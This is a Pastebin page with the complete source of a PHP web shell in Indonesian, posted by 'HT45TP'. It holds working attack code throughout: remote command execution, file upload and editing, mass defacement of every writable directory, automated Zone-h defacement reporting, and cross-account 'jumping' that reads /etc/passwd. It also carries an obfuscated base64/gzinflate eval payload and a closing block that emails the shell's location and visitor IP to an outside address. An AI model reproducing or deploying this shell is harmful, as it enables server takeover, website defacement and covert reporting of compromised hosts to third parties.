Advertisement
Fal1509

PHP Shell by HT45TP

Oct 7th, 2019
1,215
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.23 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4.  
  5. if(get_magic_quotes_gpc()){
  6. foreach($_POST as $key=>$value){
  7. $_POST[$key] = stripslashes($value);
  8. }
  9. }
  10. echo '<!DOCTYPE HTML>
  11. <html>
  12. <head>
  13.  
  14. <link href="https://fonts.googleapis.com/css?family=Supermercado+One&display=swap" rel="stylesheet">
  15. <title>xUpStup1dShell</title>
  16. <style>
  17. body{
  18. font-family:Supermercado One, sans-serif;
  19. background-color: #000022;
  20. background-image: url();
  21. background-size: center; background-repeat:no-repeat; background-attachment: fixed; background-size: cover; background-position:center;
  22. color: white;
  23. }
  24. #content tr:hover{
  25. background-color: black;
  26. text-shadow:0px 0px 10px black;
  27. }
  28. #content .first{
  29. background-color: white;
  30. }
  31. table{
  32. border: 1px #000000 dotted;
  33. }
  34. a{
  35. color: #00FF66;
  36. text-decoration: none;
  37. }
  38. a:hover{
  39. color:blue;
  40. text-shadow:0px 0px 10px #ffffff;
  41. }
  42. input,select,textarea{
  43. border: 1px #000000 solid;
  44. -moz-border-radius: 5px;
  45. -webkit-border-radius:5px;
  46. border-radius:5px;
  47. }
  48. .lazy {
  49. margin: 0;
  50. font-family:Supermercado One;
  51. }
  52. </style>
  53. </head>
  54. </body>
  55. <body>
  56. <h1><center><img src="https://c.top4top.net/p_11004tbku0.gif" height="350 width="350"><font color="white" face=""><div class="lazy">phpshell by Mr.sat_sat | HT45TP</font></center></h1>
  57. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  58. <tr><td><font color="white">Path :</font> ';
  59. if(isset($_GET['path'])){
  60. $path = $_GET['path'];
  61. }else{
  62. $path = getcwd();
  63. }
  64. $path = str_replace('\\','/',$path);
  65. $paths = explode('/',$path);
  66.  
  67. foreach($paths as $id=>$pat){
  68. if($pat == '' && $id == 0){
  69. $a = true;
  70. echo '<a href="?path=/">/</a>';
  71. continue;
  72. }
  73. if($pat == '') continue;
  74. echo '<a href="?path=';
  75. for($i=0;$i<=$id;$i++){
  76. echo "$paths[$i]";
  77. if($i != $id) echo "/";
  78. }
  79. echo '">'.$pat.'</a>/';
  80. }
  81. echo '</td></tr><tr><td>';
  82. if(isset($_FILES['file'])){
  83. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  84. echo '<font color="green">Berhasil Njeng!!!</font><br />';
  85. }else{
  86. echo '<font color="red">Gagal Njeng!!!</font><br/>';
  87. }
  88. }
  89. if(isset($_GET['dir'])) {
  90. $dir = $_GET['dir'];
  91. chdir($dir);
  92. } else {
  93. $dir = getcwd();
  94. }
  95. $ip = gethostbyname($_SERVER['HTTP_HOST']);
  96. $kernel = php_uname();
  97. $ds = @ini_get("disable_functions");
  98. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=#00FF66>Bersih Njeng!</font>";
  99. if(!function_exists('posix_getegid')) {
  100. $user = @get_current_user();
  101. $uid = @getmyuid();
  102. $gid = @getmygid();
  103. $group = "?";
  104. } else {
  105. $uid = @posix_getpwuid(posix_geteuid());
  106. $gid = @posix_getgrgid(posix_getegid());
  107. $user = $uid['name'];
  108. $uid = $uid['uid'];
  109. $group = $gid['name'];
  110. $gid = $gid['gid'];
  111. }
  112. echo "Disable Functions : $show_ds<br>";
  113. echo "System : <font color=#00FF66>".$kernel."</font><br>";
  114. echo "<center>";
  115. echo "<hr>";
  116. echo "[ <a href='?'>Home</a> ]";
  117. echo "[ <a href='?dir=$dir&to=zoneh'>Zone-h</a> ]";
  118. echo "[ <a href='?dir=$dir&to=jumping'>Jumping</a> ]";
  119. echo "[ <a href='?dir=$dir&to=sym'>Symlink</a> ]";
  120. echo "[ <a href='?dir=$dir&to=mass'>Mass Depes</a> ]";
  121. echo "[ <a href='?dir=$dir&to=cmd'>Command</a> ]";
  122. echo "</center>";
  123. echo "<hr>";
  124. if($_GET['to'] == 'zoneh') {
  125. if($_POST['submit']) {
  126. $domain = explode("\r\n", $_POST['url']);
  127. $nick = $_POST['nick'];
  128. echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  129. echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  130. function zoneh($url,$nick) {
  131. $ch = curl_init("http://www.zone-h.com/notify/single");
  132. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  133. curl_setopt($ch, CURLOPT_POST, true);
  134. curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  135. return curl_exec($ch);
  136. curl_close($ch);
  137. }
  138. foreach($domain as $url) {
  139. $zoneh = zoneh($url,$nick);
  140. if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  141. echo "$url -> <font color=lime>OK</font><br>";
  142. } else {
  143. echo "$url -> <font color=red>ERROR</font><br>";
  144. }
  145. }
  146. } else {
  147. echo "<center><form method='post'>
  148. <u>Defacer</u>: <br>
  149. <input type='text' name='nick' size='50' value='HT45TP'><br>
  150. <u>Domains</u>: <br>
  151. <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  152. <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  153. </form>";
  154. }
  155. echo "</center>";
  156. } elseif($_GET['to'] == 'mass') {
  157. function sabun_massal($dir,$namafile,$isi_script) {
  158. if(is_writable($dir)) {
  159. $dira = scandir($dir);
  160. foreach($dira as $dirb) {
  161. $dirc = "$dir/$dirb";
  162. $lokasi = $dirc.'/'.$namafile;
  163. if($dirb === '.') {
  164. file_put_contents($lokasi, $isi_script);
  165. } elseif($dirb === '..') {
  166. file_put_contents($lokasi, $isi_script);
  167. } else {
  168. if(is_dir($dirc)) {
  169. if(is_writable($dirc)) {
  170. echo "[<font color=lime>DONE</font>] $lokasi<br>";
  171. file_put_contents($lokasi, $isi_script);
  172. $idx = sabun_massal($dirc,$namafile,$isi_script);
  173. }
  174. }
  175. }
  176. }
  177. }
  178. }
  179. function sabun_biasa($dir,$namafile,$isi_script) {
  180. if(is_writable($dir)) {
  181. $dira = scandir($dir);
  182. foreach($dira as $dirb) {
  183. $dirc = "$dir/$dirb";
  184. $lokasi = $dirc.'/'.$namafile;
  185. if($dirb === '.') {
  186. file_put_contents($lokasi, $isi_script);
  187. } elseif($dirb === '..') {
  188. file_put_contents($lokasi, $isi_script);
  189. } else {
  190. if(is_dir($dirc)) {
  191. if(is_writable($dirc)) {
  192. echo "[<font color=lime>DONE</font>] $dirb/$namafile<br>";
  193. file_put_contents($lokasi, $isi_script);
  194. }
  195. }
  196. }
  197. }
  198. }
  199. }
  200. if($_POST['start']) {
  201. if($_POST['tipe_sabun'] == 'mahal') {
  202. echo "<div style='margin: 5px auto; padding: 5px'>";
  203. sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  204. echo "</div>";
  205. } elseif($_POST['tipe_sabun'] == 'murah') {
  206. echo "<div style='margin: 5px auto; padding: 5px'>";
  207. sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  208. echo "</div>";
  209. }
  210. } else {
  211. echo "<center>";
  212. echo "<form method='post'>
  213. <font style='text-decoration: underline;'>Tipe Mass:</font><br>
  214. <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
  215. <font style='text-decoration: underline;'>Folder:</font><br>
  216. <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  217. <font style='text-decoration: underline;'>Filename:</font><br>
  218. <input type='text' name='d_file' value='2k.htm' style='width: 450px;' height='10'><br>
  219. <font style='text-decoration: underline;'>Index File:</font><br>
  220. <textarea name='script' style='width: 450px; height: 200px;'>Hacked By TEH Squad Cyber</textarea><br>
  221. <input type='submit' name='start' value='HAJAR COK!' style='width: 450px;'>
  222. </form></center>";
  223. }
  224. }elseif($_GET['to'] == 'sym') {
  225. echo '<hr>';
  226. eval(gzinflate(base64_decode('7Vf/T9tGFP89Uv6H1yOT7ZHaSRBrReKUrjCt0lakAtskqCLHPmOPi8+6u2BSyv++d+fYpE4AlVbaJhWJyHnf/b583ksnnjMGPkglJoLmLAip3ZkcH77/4/D9mXVw9Ob098N3J5P3R0cn1ocuENKFTh6oxBm2W52oNwvSTKL6fpwyahOPqtDLghmN3JBnMdFSW1uJUmhWtltpbFc6zk27tT+7jFJhk4iGwWIiFzPS7b148UIr7YdJg2Wo9JqGNmEZPJfggeBcGXpHe9/BMKyjXKUcI3qbRSgr4RfOGC+OF7Pf0uwSIzhIBQ0VFwsjAMa8m6hZu/U6ik4WOQVFr5WHeUgzcPMkB8P5NcgiRkWT2W4dByqV8QJeZwvLBJLrMGKe08y20HAQ4otLq2sVVhloYfiFSBXmGaW7ZezOcD8OGZclUYvSMOFA2q2RCqaMQsDSi8wPaaYwjCkXERX+DlZtwahvFWmkkr2fej8MS87zkDMu9rZe/tzDv6E11maE+Yw+szQexTxTYMR9ls4oyPQj9QfjYxfecXfkafZ45KnoS5QPuCnxE7VPJRVP1cVCMyx0Q9vDdyemX0M+Rz0f+vgt5oIGYVJ3JAQSls+6ObFXqaAXqU0+8oySbsVybnIkT2aBCpNJwJhtbWkBILb7o0O2rG5lRD+UidDljNlcJrZ+QsM4bAwbRIl0ZldCZ/0PZ70PjgNjGGj/nTnmAUPNuUyvJxdU5cU8jWwzaLzIqFhO2xUmJpBUesRtmqq7CIvfyB8mpszhMnEEXKjS46LCPelnNEZqAImgsY9jne95XlEUbtO3S7yqRiyQ0lfXarwuU3sJVjxpOf3qZ5bGEcuI1bzKtdXRsOXV6OBpKPASPqPemrqXz6csDSc45cwCFQjMpW9NpizILq21KJsdtAxt2UOwWshlvra3h7e3t3WqPTOvpt9uKZNUl/Lk8PjELyHSMkXL0V0RWWU7gG0EnoSI/3VAhMcQER6AROQ2UREqWIQHcLE/LtEO7sEN0/M7GzHuEZUN2PSYk3VEqvEIPgckMO9dJ4usdApuXSKIA1wAvU6VTU4z8/aKg5YFrfjMVB6KRLfZs5hyXLaa7ujGgo7e0jG2vlxSjUODYlSzAiGChV1SdUB3IIcte+4huL1yzvfOPU9qhJPdWrdpaPWQIOVEdvFqqCRw9o3GHQrWhhD5+gP49AnWGL4PPc24c+MDmaYZWSPqlP3V73uxXOddBcJj6dTL7mMGIi80aTP3gucJFes8uTEQYy+arTPmEk0hNN0TQ6zyzW+VbWJoDcTfzQxzhxEHk423mEqzOb0bID0gDzXuho3wYLevwLzWq0KpFMmq50cMVBj/AMQ3XKwi/BrA1wMY3DN9Gr9rlKkmownmJZTr+5VLeIYJ/jPNIl5I4tzci9mbEFtfsGt4fYfW6PkLAbvXe/kNoLrd+mqwfgCpq0Ing2WZrcsBYzs70aAuDxxTcUXFyEsG428C7m8P/lVgV3SWY6IIGXbwQOvjY888DTTW65schfAAtZfskQ+GW37d3nbgpoPXnv5h1bj/jMASQfFwQJJTOnN9+JunWLY9q2vILjnPsHGrSlijqfDG1rAKrTw+9ZdlA+4i0URllo+iUrk4jgjeRblY4nxeLY/d7lJRk1dGZxdNray0ap9tsvpV+2x9mX2bTfZ9jX1fY//nNdYYxw2bbORF6RV+LoMmw3mmza5MplG6Bb3v4E59EwK+CbKM4yvjz2hFoYmHtQdtrvx/Nf4H')));
  227. } elseif($_GET['to'] == 'jumping') {
  228. $i = 0;
  229. echo "<div class='margin: 5px auto;'>";
  230. if(preg_match("/hsphere/", $dir)) {
  231. $urls = explode("\r\n", $_POST['url']);
  232. if(isset($_POST['jump'])) {
  233. echo "<pre>";
  234. foreach($urls as $url) {
  235. $url = str_replace(array("http://","www."), "", strtolower($url));
  236. $etc = "/etc/passwd";
  237. $f = fopen($etc,"r");
  238. while($gets = fgets($f)) {
  239. $pecah = explode(":", $gets);
  240. $user = $pecah[0];
  241. $dir_user = "/hsphere/local/home/$user";
  242. if(is_dir($dir_user) === true) {
  243. $url_user = $dir_user."/".$url;
  244. if(is_readable($url_user)) {
  245. $i++;
  246. $jrw = "[<font color=lime>R</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
  247. if(is_writable($url_user)) {
  248. $jrw = "[<font color=lime>RW</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
  249. }
  250. echo $jrw."<br>";
  251. }
  252. }
  253. }
  254. }
  255. if($i == 0) {
  256. } else {
  257. echo "<br>Total ada ".$i." Kamar di ".$ip;
  258. }
  259. echo "</pre>";
  260. } else {
  261. echo '<center>
  262. <form method="post">
  263. List Domains: <br>
  264. <textarea name="url" style="width: 500px; height: 250px;">';
  265. $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
  266. while($getss = fgets($fp)) {
  267. echo $getss;
  268. }
  269. echo '</textarea><br>
  270. <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  271. </form></center>';
  272. }
  273. } elseif(preg_match("/vhosts|vhost/", $dir)) {
  274. preg_match("/\/var\/www\/(.*?)\//", $dir, $vh);
  275. $urls = explode("\r\n", $_POST['url']);
  276. if(isset($_POST['jump'])) {
  277. echo "<pre>";
  278. foreach($urls as $url) {
  279. $url = str_replace("www.", "", $url);
  280. $web_vh = "/var/www/".$vh[1]."/$url/httpdocs";
  281. if(is_dir($web_vh) === true) {
  282. if(is_readable($web_vh)) {
  283. $i++;
  284. $jrw = "[<font color=lime>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
  285. if(is_writable($web_vh)) {
  286. $jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
  287. }
  288. echo $jrw."<br>";
  289. }
  290. }
  291. }
  292. if($i == 0) {
  293. } else {
  294. echo "<br>Total ada ".$i." Kamar di ".$ip;
  295. }
  296. echo "</pre>";
  297. } else {
  298. echo '<center>
  299. <form method="post">
  300. List Domains: <br>
  301. <textarea name="url" style="width: 500px; height: 250px;">';
  302. bing("ip:$ip");
  303. echo '</textarea><br>
  304. <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  305. </form></center>';
  306. }
  307. } else {
  308. echo "<pre>";
  309. $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
  310. while($passwd = fgets($etc)) {
  311. if($passwd == '' || !$etc) {
  312. echo "<font color=red>Can't read /etc/passwd</font>";
  313. } else {
  314. preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  315. foreach($user_jumping[1] as $user_idx_jump) {
  316. $user_jumping_dir = "/home/$user_idx_jump/public_html";
  317. if(is_readable($user_jumping_dir)) {
  318. $i++;
  319. $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
  320. if(is_writable($user_jumping_dir)) {
  321. $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
  322. }
  323. echo $jrw;
  324. if(function_exists('posix_getpwuid')) {
  325. $domain_jump = file_get_contents("/etc/named.conf");
  326. if($domain_jump == '') {
  327. echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  328. } else {
  329. preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  330. foreach($domains_jump[1] as $dj) {
  331. $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  332. $user_jumping_url = $user_jumping_url['name'];
  333. if($user_jumping_url == $user_idx_jump) {
  334. echo " => ( <u>$dj</u> )<br>";
  335. break;
  336. }
  337. }
  338. }
  339. } else {
  340. echo "<br>";
  341. }
  342. }
  343. }
  344. }
  345. }
  346. if($i == 0) {
  347. } else {
  348. echo "<br>Total ada ".$i." Kamar di ".$ip;
  349. }
  350. echo "</pre>";
  351. }
  352. echo "</div>";
  353. } elseif($_GET['to'] == 'cmd') {
  354. echo "<form method='post'>
  355. <font style='text-decoration: underline;'>".$user."@".$ip.": ~ $ </font>
  356. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  357. </form>";
  358. if($_POST['do_cmd']) {
  359. echo "<pre>".exe($_POST['cmd'])."</pre>";
  360. }
  361. }
  362. echo '<form enctype="multipart/form-data" method="POST">
  363. <font color="white">File Upload :</font> <input type="file" name="file" />
  364. <input type="submit" value="Crotz" />
  365. </form>
  366. </td></tr>';
  367. if(isset($_GET['filesrc'])){
  368. echo "<tr><td>Current File : ";
  369. echo $_GET['filesrc'];
  370. echo '</tr></td></table><br />';
  371. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  372. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  373. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  374. if($_POST['opt'] == 'chmod'){
  375. if(isset($_POST['perm'])){
  376. if(chmod($_POST['path'],$_POST['perm'])){
  377. echo '<font color="green">Change Permission Berhasil</font><br/>';
  378. }else{
  379. echo '<font color="red">Change Permission Gagal</font><br />';
  380. }
  381. }
  382. echo '<form method="POST">
  383. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  384. <input type="hidden" name="path" value="'.$_POST['path'].'">
  385. <input type="hidden" name="opt" value="chmod">
  386. <input type="submit" value="Go" />
  387. </form>';
  388. }elseif($_POST['opt'] == 'rename'){
  389. if(isset($_POST['newname'])){
  390. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  391. echo '<font color="green">Ganti Nama Berhasil</font><br/>';
  392. }else{
  393. echo '<font color="red">Ganti Nama Gagal</font><br />';
  394. }
  395. $_POST['name'] = $_POST['newname'];
  396. }
  397. echo '<form method="POST">
  398. Nama Baru : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  399. <input type="hidden" name="path" value="'.$_POST['path'].'">
  400. <input type="hidden" name="opt" value="rename">
  401. <input type="submit" value="Crotz" />
  402. </form>';
  403. }elseif($_POST['opt'] == 'edit'){
  404. if(isset($_POST['src'])){
  405. $fp = fopen($_POST['path'],'w');
  406. if(fwrite($fp,$_POST['src'])){
  407. echo '<font color="green">Berhasil Edit File</font><br/>';
  408. }else{
  409. echo '<font color="red">Gagal Edit File</font><br/>';
  410. }
  411. fclose($fp);
  412. }
  413. echo '<form method="POST">
  414. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  415. <input type="hidden" name="path" value="'.$_POST['path'].'">
  416. <input type="hidden" name="opt" value="edit">
  417. <input type="submit" value="Save" />
  418. </form>';
  419. }
  420. echo '</center>';
  421. }else{
  422. echo '</table><br/><center>';
  423. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  424. if($_POST['type'] == 'dir'){
  425. if(rmdir($_POST['path'])){
  426. echo '<font color="green">Directory Terhapus</font><br/>';
  427. }else{
  428. echo '<font color="red">Directory Gagal Terhapus </font><br/>';
  429. }
  430. }elseif($_POST['type'] == 'file'){
  431. if(unlink($_POST['path'])){
  432. echo '<font color="green">File Terhapus</font><br/>';
  433. }else{
  434. echo '<font color="red">File Gagal Dihapus</font><br/>';
  435. }
  436. }
  437. }
  438. echo '</center>';
  439. $scandir = scandir($path);
  440. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  441. <tr class="first">
  442. <td><center>Name</peller></center></td>
  443. <td><center>Size</peller></center></td>
  444. <td><center>Permission</peller></center></td>
  445. <td><center>Modify</peller></center></td>
  446. </tr>';
  447.  
  448. foreach($scandir as $dir){
  449. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  450. echo '<tr>
  451. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  452. <td><center>--</center></td>
  453. <td><center>';
  454. if(is_writable($path.'/'.$dir)) echo '<font color="green">';
  455. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  456. echo perms($path.'/'.$dir);
  457. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  458.  
  459. echo '</center></td>
  460. <td><center><form method="POST" action="?option&path='.$path.'">
  461. <select name="opt">
  462. <option value="">Select</option>
  463. <option value="delete">Delete</option>
  464. <option value="chmod">Chmod</option>
  465. <option value="rename">Rename</option>
  466. </select>
  467. <input type="hidden" name="type" value="dir">
  468. <input type="hidden" name="name" value="'.$dir.'">
  469. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  470. <input type="submit" value=">">
  471. </form></center></td>
  472. </tr>';
  473. }
  474. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  475. foreach($scandir as $file){
  476. if(!is_file($path.'/'.$file)) continue;
  477. $size = filesize($path.'/'.$file)/1024;
  478. $size = round($size,3);
  479. if($size >= 1024){
  480. $size = round($size/1024,2).' MB';
  481. }else{
  482. $size = $size.' KB';
  483. }
  484.  
  485. echo '<tr>
  486. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  487. <td><center>'.$size.'</center></td>
  488. <td><center>';
  489. if(is_writable($path.'/'.$file)) echo '<font color="green">';
  490. elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
  491. echo perms($path.'/'.$file);
  492. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  493. echo '</center></td>
  494. <td><center><form method="POST" action="?option&path='.$path.'">
  495. <select name="opt">
  496. <option value="">Pilih</option>
  497. <option value="delete">Hapus</option>
  498. <option value="chmod">Chmod</option>
  499. <option value="rename">Ganti Nama</option>
  500. <option value="edit">Ubah</option>
  501. </select>
  502. <input type="hidden" name="type" value="file">
  503. <input type="hidden" name="name" value="'.$file.'">
  504. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  505. <input type="submit" value=">">
  506. </form></center></td>
  507. </tr>';
  508. }
  509. echo '</table>
  510. </div>';
  511. }
  512. echo '<center><br/>recoded~ : satsat</center>
  513. </body>
  514. </html>';
  515. function perms($file){
  516. $perms = fileperms($file);
  517.  
  518. if (($perms & 0xC000) == 0xC000) {
  519. // Socket
  520. $info = 's';
  521. } elseif (($perms & 0xA000) == 0xA000) {
  522. // Symbolic Link
  523. $info = 'l';
  524. } elseif (($perms & 0x8000) == 0x8000) {
  525. // Regular
  526. $info = '-';
  527. } elseif (($perms & 0x6000) == 0x6000) {
  528. // Block special
  529. $info = 'b';
  530. } elseif (($perms & 0x4000) == 0x4000) {
  531. // Directory
  532. $info = 'd';
  533. } elseif (($perms & 0x2000) == 0x2000) {
  534. // Character special
  535. $info = 'c';
  536. } elseif (($perms & 0x1000) == 0x1000) {
  537. // FIFO pipe
  538. $info = 'p';
  539. } else {
  540. // Unknown
  541. $info = 'u';
  542. }
  543.  
  544. // Owner
  545. $info .= (($perms & 0x0100) ? 'r' : '-');
  546. $info .= (($perms & 0x0080) ? 'w' : '-');
  547. $info .= (($perms & 0x0040) ?
  548. (($perms & 0x0800) ? 's' : 'x' ) :
  549. (($perms & 0x0800) ? 'S' : '-'));
  550.  
  551. // Group
  552. $info .= (($perms & 0x0020) ? 'r' : '-');
  553. $info .= (($perms & 0x0010) ? 'w' : '-');
  554. $info .= (($perms & 0x0008) ?
  555. (($perms & 0x0400) ? 's' : 'x' ) :
  556. (($perms & 0x0400) ? 'S' : '-'));
  557.  
  558. // World
  559. $info .= (($perms & 0x0004) ? 'r' : '-');
  560. $info .= (($perms & 0x0002) ? 'w' : '-');
  561. $info .= (($perms & 0x0001) ?
  562. (($perms & 0x0200) ? 't' : 'x' ) :
  563. (($perms & 0x0200) ? 'T' : '-'));
  564.  
  565. return $info;
  566. }
  567. ?>
  568. <?php
  569. $ip = getenv("REMOTE_ADDR");
  570. $ken = rand(1, 99999);
  571. $subj98 = " Result shell bouz |$ken";
  572. $email = "[email protected]";
  573. $from = "From: [email protected]";
  574. $tot = $_SERVER['REQUEST_URI'];
  575. $kon = $_SERVER['HTTP_HOST'];
  576. $tol = $ip . "";
  577. $msg8873 = "$tot $kon $tol";
  578. mail($email, $subj98, $msg8873, $from);
  579. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement